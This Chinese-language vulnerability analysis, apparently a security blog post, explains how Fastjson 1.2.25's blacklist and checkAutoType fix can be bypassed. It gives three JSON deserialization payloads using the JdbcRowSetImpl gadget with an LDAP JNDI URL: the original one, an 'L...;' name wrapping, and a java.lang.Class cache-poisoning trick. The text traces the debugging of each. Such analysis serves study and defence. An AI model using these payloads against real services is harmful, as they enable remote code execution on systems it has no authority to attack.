0x00 前言
反序列化总纲
1.2.24可参考:1.2.24fastjson
继1.2.24fastjson之后,对该漏洞进行了修复,从而有了Fastjson1.2.25反序列化漏洞
这里分为两类,一类是主动开启了AutoType,还有一类是未开启AutoType
0x01 1.2.25防护
我们这里以1.2.24的payload进行测试:
String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/a\", \"autoCommit\":true}" ;
走到这里的时候 fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#parseObject,可以看到从TypeUtils.loadClass变成了this.config.checkAutoType。
跟进之后会发现通过循环来进行黑名单判定:很明显com.sun.rowset.JdbcRowSetImpl是黑名单里的其中一员,所以payload失效。
0x02 1.2.25 开启AutoType 绕过
这里就存在的了一个可以绕过的问题,就是可否可以通过一些payload的修改来绕过黑名单检测,结果是可以的。
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:9999/a\", \"autoCommit\":true}" ;
那么重新调试,首先来看没有设置AutoType 的状态。
使用此payload的可以成功的通过黑名单检测,但是却会在检测AutoType的时候被拦截。
主动设置AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
通过检测之后就会进入TypeUtils.loadClass
TypeUtils.loadClass会对L和;进行处理,所以payload可生效
但是,但凡是要求越多的利用方式,攻击面就会越小,那么就存在不开启AutoType的攻击方式。
0x03 1.2.25 不开启AutoType 绕过
这里的绕过是通过Mappings缓存来进行绕过的。
先上payload
String payload="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/a\",\"autoCommit\":true}}}";
跟踪调试:
还是先看checkAutoType,由于我们存在两个@type,按照顺序,先来第一个java.lang.Class
首先去TypeUtils.getClassFromMapping缓存中找,但是没有找到
接着会去deserializers里去找
deserializers存在Class.class直接回返回类
接着看到deserializer.deserialze
跟进到fastjson-1.2.25.jar!\com\alibaba\fastjson\serializer\MiscCodec.class#deserialze
这里通过clazz == Class.class来判断到Class,满足条件则会调用TypeUtils.loadClass
跟进之后可以看到调用put将ClassName加入了缓存,那么我们来看第二次处理checkAutoType
第二次进入checkAutoType
这里去TypeUtils缓存里查找
找到之后就会直接返回clazz
至此就是整个绕过流程和原理。